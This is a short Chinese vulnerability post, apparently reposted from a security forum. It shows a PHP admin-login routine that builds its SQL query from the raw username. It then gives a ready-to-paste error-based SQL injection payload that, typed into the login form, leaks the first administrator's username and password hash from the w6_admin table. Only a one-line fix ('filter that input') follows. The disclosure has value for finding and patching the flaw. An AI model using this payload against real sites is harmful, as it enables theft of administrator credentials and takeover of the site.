看代码。。

 

01    ……若干……

02    if( !$postdb["userid"] || !$postdb["pwd"] )

03    {

04    echo "<div align=\"center\" class=\"style1\">";

05    echo "您输入的用户名或密码有误！!!";

06    echo "</div>";

07    exit;

08    }

09   www.2cto.com

10    $postdb["pwd"]=md5($postdb["pwd"]);

11   

12   

13            $query="SELECT * FROM `w6_admin` WHERE `userid` ='".$postdb["userid"]."'"; //你懂的

14   

15              $result=mysql_query($query) or die("Could not connect: " . mysql_error());

16            

17            $num = mysql_num_rows($result);

18             

19            if( $num == 0 )

20            {

21             echo "<div align=\"center\" class=\"style1\">";

22             echo "您输入的用户名或密码有误！!!";

23             echo "</div>";

24             exit;

25            }

26            

27            $_pwd        =  stripslashes(mysql_result($result,"0","pwd"));

28            $gptype        =  stripslashes(mysql_result($result,"0","gptype"));

29            $adminid        =  stripslashes(mysql_result($result,"0","id"));

30            ……若干……

 

测试方法p:

在后台登陆的用户名输入

' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,w6_admin.userid,0x27,0x7e,w6_admin.pwd) from w6_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1'/*

 

from :土司 作者Cond0r

修复 过滤该处输入